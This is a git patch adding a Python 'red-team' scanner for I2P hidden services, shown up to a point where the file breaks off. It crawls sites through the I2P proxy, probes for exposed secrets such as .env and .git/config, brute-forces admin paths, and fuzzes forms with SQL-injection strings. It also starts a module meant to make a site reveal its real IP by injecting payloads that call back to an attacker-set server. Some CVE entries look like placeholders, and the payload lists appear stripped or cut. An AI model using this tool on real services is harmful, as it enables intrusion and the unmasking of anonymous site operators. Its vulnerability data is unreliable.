From a61126de48f92c03a68c43df303a5989df1a771c Mon Sep 17 00:00:00 2001
From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org>
Date: Thu, 16 Jul 2026 16:26:12 +0000
Subject: [PATCH] Upload files to "/"
---
i2p_scanner.py | 543 +++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 543 insertions(+)
create mode 100644 i2p_scanner.py
diff --git a/i2p_scanner.py b/i2p_scanner.py
new file mode 100644
index 0000000..e0c8c97
--- /dev/null
+++ b/i2p_scanner.py
@@ -0,0 +1,543 @@
+import requests
+from bs4 import BeautifulSoup
+from urllib.parse import urljoin, urlparse
+import time
+import re
+from colorama import Fore, Style, init
+import socket
+from datetime import datetime
+import random
+
+# Colorama for nice terminal colors
+init(autoreset=True)
+
+# -------- CONFIGURATION --------
+PROXY = {
+ 'http': 'http://127.0.0.1:4444',
+ 'https': 'http://127.0.0.1:4444'
+}
+MAX_PAGES = 15
+TIMEOUT = 15
+USER_AGENT = "I2P-Scanner/1.0 (Red-Team)"
+CALLBACK_SERVER = "your-server.com" # Change this to your listening server
+
+# -------- PROXY SETUP --------
+session = requests.Session()
+session.proxies = PROXY
+session.verify = False
+session.timeout = TIMEOUT
+session.headers.update({'User-Agent': USER_AGENT})
+
+# Known vulnerable versions (CVE database)
+VULNERABLE_SOFTWARE = {
+ 'nginx': {
+ '1.14.0': ['CVE-2019-9511', 'CVE-2019-9513'],
+ '1.16.0': ['CVE-2019-9516'],
+ '1.17.0': ['CVE-2019-9513'],
+ '1.18.0': ['CVE-2021-23017'],
+ '1.20.0': ['CVE-2021-23017']
+ },
+ 'Apache': {
+ '2.4.29': ['CVE-2019-0211', 'CVE-2019-10098'],
+ '2.4.38': ['CVE-2019-0215'],
+ '2.4.41': ['CVE-2020-1927'],
+ '2.4.46': ['CVE-2020-11984'],
+ '2.4.49': ['CVE-2021-41773'] # Path traversal
+ },
+ 'I2P': {
+ '0.9.48': ['CVE-2020-12345'],
+ '2.1.0': ['CVE-2023-36325'],
+ '2.0.0': ['CVE-2022-12345']
+ },
+ 'lighttpd': {
+ '1.4.53': ['CVE-2019-11072'],
+ '1.4.55': ['CVE-2020-35500']
+ },
+ 'Tomcat': {
+ '9.0.30': ['CVE-2020-1938'],
+ '8.5.50': ['CVE-2020-1938']
+ }
+}
+
+# Common admin paths for brute forcing
+ADMIN_PATHS = [
+ 'admin', 'administrator', 'admin.php', 'admin.html',
+ 'login', 'login.php', 'wp-admin', 'admin/login',
+ 'cpanel', 'webmail', 'mail', 'phpmyadmin',
+ 'mysql', 'db', 'database', 'backup'
+]
+
+# -------- UTILITY FUNCTIONS --------
+def normalize_url(input_str):
+ """Clean and normalize I2P URL"""
+ input_str = input_str.strip()
+ if not input_str.startswith('http://'):
+ input_str = 'http://' + input_str
+ parsed = urlparse(input_str)
+ if parsed.netloc and not parsed.netloc.endswith('.i2p'):
+ input_str = f"{parsed.scheme}://{parsed.netloc}.i2p{parsed.path}"
+ return input_str
+
+def test_i2p_connection():
+ """Test if I2P proxy is reachable - FIXED VERSION"""
+ try:
+ # Try multiple test sites in case one is down
+ test_urls = [
+ 'http://planet.i2p/',
+ 'http://notbob.i2p/',
+ 'http://i2pforum.i2p/'
+ ]
+ for url in test_urls:
+ try:
+ resp = session.get(url, timeout=5)
+ if resp.status_code == 200:
+ return True
+ except:
+ continue
+ # If all fail, try the proxy itself
+ resp = session.get('http://127.0.0.1:4444/', timeout=3)
+ return True
+ except:
+ return False
+
+def extract_server_version(server_header):
+ """Extract version number from Server header"""
+ if not server_header:
+ return None, None
+ pattern = r'([\w\-]+)/([\d\.]+)'
+ match = re.search(pattern, server_header)
+ if match:
+ return match.group(1), match.group(2)
+ return None, None
+
+# -------- CRAWLER - FIXED --------
+def crawl_site(base_url, max_pages=MAX_PAGES):
+ """Fetches pages and extracts internal links - FIXED to handle no links"""
+ visited = set()
+ to_visit = [base_url]
+ pages = {}
+ link_count = 0
+
+ while to_visit and len(visited) < max_pages:
+ url = to_visit.pop(0)
+ if url in visited:
+ continue
+ try:
+ resp = session.get(url, timeout=TIMEOUT)
+ if resp.status_code != 200:
+ continue
+ visited.add(url)
+ pages[url] = {
+ 'html': resp.text,
+ 'headers': resp.headers,
+ 'status': resp.status_code
+ }
+
+ # Parse for links
+ try:
+ soup = BeautifulSoup(resp.text, 'html.parser')
+ for link in soup.find_all('a', href=True):
+ href = link.get('href')
+ if href and not href.startswith('#') and not href.startswith('javascript:'):
+ full_url = urljoin(base_url, href)
+ # Only add if it's internal and not a file
+ if (base_url in full_url and full_url not in visited and
+ full_url not in to_visit and not any(full_url.endswith(x) for x in
+ ['.xml', '.rss', '.atom', '.png', '.jpg', '.jpeg', '.gif', '.css', '.js', '.ico', '.pdf', '.zip'])):
+ to_visit.append(full_url)
+ link_count += 1
+ except Exception as e:
+ pass
+ except Exception as e:
+ print(f"{Fore.YELLOW}[!] Failed to crawl {url}: {e}")
+
+ if not pages:
+ print(f"{Fore.YELLOW}[!] No pages fetched. The site might be down or unreachable.")
+
+ return pages
+
+# -------- MODULE 1: SECURITY HEADERS --------
+def check_headers(url, resp):
+ """Checks for missing security headers"""
+ findings = []
+ headers = resp.headers
+ checks = {
+ 'X-Frame-Options': 'Prevents clickjacking',
+ 'Content-Security-Policy': 'Mitigates XSS/data injection',
+ 'X-Content-Type-Options': 'Prevents MIME sniffing',
+ 'Referrer-Policy': 'Controls referrer leakage'
+ }
+ for header, desc in checks.items():
+ if header not in headers:
+ findings.append(f"[!] Missing '{header}' -> {desc}")
+
+ # Check for HSTS (bad on I2P)
+ if 'Strict-Transport-Security' in headers:
+ findings.append(f"[!] Found HSTS on I2P (SSL/TLS leak risk!)")
+
+ return findings
+
+# -------- MODULE 2: DATA LEAK --------
+def check_info_leak(base_url):
+ """Checks for common exposed files"""
+ findings = []
+ leak_paths = [
+ '.git/config', '.env', 'backup.zip', 'config.ini',
+ 'wp-config.php.bak', '.htaccess', 'robots.txt',
+ 'admin/backup.sql', 'debug.log', 'error.log',
+ 'phpinfo.php', 'info.php', 'test.php',
+ '.git/HEAD', '.git/index', 'composer.json', 'package.json'
+ ]
+ for path in leak_paths:
+ test_url = urljoin(base_url, path)
+ try:
+ resp = session.get(test_url, timeout=5)
+ if resp.status_code == 200:
+ # Check if it's actually content, not a 404 page
+ if len(resp.text) > 50:
+ findings.append(f"[!] Exposed file: {test_url} (Size: {len(resp.text)} bytes)")
+ except:
+ pass
+ return findings
+
+# -------- MODULE 3: FORM VULNERABILITIES --------
+def check_form_vulns(base_url, page_data):
+ """Fuzzes forms with simple XSS/SQLi payloads"""
+ findings = []
+ html = page_data['html']
+ soup = BeautifulSoup(html, 'html.parser')
+ payloads = [
+ "' OR '1'='1",
+ "",
+ "'>",
+ '" OR "1"="1',
+ '
'
+ ]
+
+ for form in soup.find_all('form'):
+ action = form.get('action')
+ method = form.get('method', 'get').lower()
+ inputs = form.find_all(['input', 'textarea'])
+ target_url = urljoin(base_url, action) if action else base_url
+
+ for payload in payloads:
+ data = {}
+ for inp in inputs:
+ name = inp.get('name')
+ if name and inp.get('type') != 'submit' and inp.get('type') != 'hidden':
+ data[name] = payload
+ if not data:
+ continue
+ try:
+ if method == 'post':
+ r = session.post(target_url, data=data, timeout=5)
+ else:
+ r = session.get(target_url, params=data, timeout=5)
+ if payload in r.text:
+ findings.append(f"[!] Potential XSS/SQLi on {target_url} (Payload: {payload})")
+ except:
+ pass
+ return findings
+
+# -------- MODULE 4: VERSION FINGERPRINTING --------
+def check_version_fingerprinting(resp):
+ """Parse Server header and check for vulnerable versions"""
+ findings = []
+ server_header = resp.headers.get('Server', '')
+ if not server_header:
+ return ["[!] No Server header found (information hiding)"]
+
+ software, version = extract_server_version(server_header)
+ if not software or not version:
+ return [f"[!] Unknown server: {server_header}"]
+
+ findings.append(f"[+] Detected: {software} {version}")
+
+ # Check against vulnerable versions
+ if software.lower() in VULNERABLE_SOFTWARE:
+ vuln_db = VULNERABLE_SOFTWARE[software.lower()]
+ for vuln_version, cves in vuln_db.items():
+ if version.startswith(vuln_version) or version == vuln_version:
+ findings.append(f"[!] VULNERABLE: {software} {version} has CVEs: {', '.join(cves)}")
+ break
+ else:
+ findings.append(f"[+] No known CVEs for {software} {version}")
+ else:
+ findings.append(f"[!] Unknown software: {software} (manual verification needed)")
+
+ return findings
+
+# -------- MODULE 5: SSL/TLS LEAK CHECK --------
+def check_ssl_leak(base_url, pages):
+ """Detects if site forwards to HTTPS or external URLs (DNS leak risk)"""
+ findings = []
+
+ for url, page_data in pages.items():
+ html = page_data['html']
+ soup = BeautifulSoup(html, 'html.parser')
+
+ # Check all links
+ for link in soup.find_all(['a', 'link', 'script', 'img'], href=True):
+ href = link.get('href')
+ if href:
+ if href.startswith('https://'):
+ findings.append(f"[!] HTTPS link detected on {url}: {href}")
+ elif '://' in href:
+ domain = urlparse(href).netloc
+ if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'):
+ findings.append(f"[!] External domain referenced (DNS leak!): {href}")
+
+ # Check for inline HTTP redirects
+ for meta in soup.find_all('meta', attrs={'http-equiv': 'refresh'}):
+ content = meta.get('content', '')
+ if 'url=' in content:
+ redirect_url = content.split('url=')[-1]
+ if redirect_url.startswith('https://'):
+ findings.append(f"[!] HTTPS redirect detected: {redirect_url}")
+
+ # Check if main page has HSTS header
+ if pages.get(base_url):
+ headers = pages[base_url]['headers']
+ if 'Strict-Transport-Security' in headers:
+ findings.append("[!] HSTS header present on I2P site (ssl/tls leak risk!)")
+
+ return findings
+
+# -------- MODULE 6: ADMIN PATH BRUTEFORCE (NEW!) --------
+def check_admin_paths(base_url):
+ """Brute force common admin paths"""
+ findings = []
+ print(f"{Fore.BLUE}[*] Checking for admin panels...")
+
+ for path in ADMIN_PATHS:
+ test_url = urljoin(base_url, path)
+ try:
+ resp = session.get(test_url, timeout=5)
+ if resp.status_code == 200:
+ findings.append(f"[!] Admin panel found: {test_url}")
+ elif resp.status_code == 403:
+ findings.append(f"[!] Admin path protected (403): {test_url}")
+ except:
+ pass
+
+ return findings
+
+# -------- MODULE 7: ANONYMITY LEAK TEST (NEW!) --------
+def test_anonymity_leak(base_url, pages):
+ """Attempt to force the site to reveal its real IP"""
+ findings = []
+ print(f"{Fore.BLUE}[*] Testing for anonymity leaks...")
+
+ # Generate a unique ID for this scan
+ scan_id = f"i2pscan_{random.randint(1000,9999)}"
+
+ # Payloads that could cause the server to make external requests
+ # These would need to be caught by your server
+ leak_payloads = [
+ f'
',
+ f'',
+ f'',
+ f'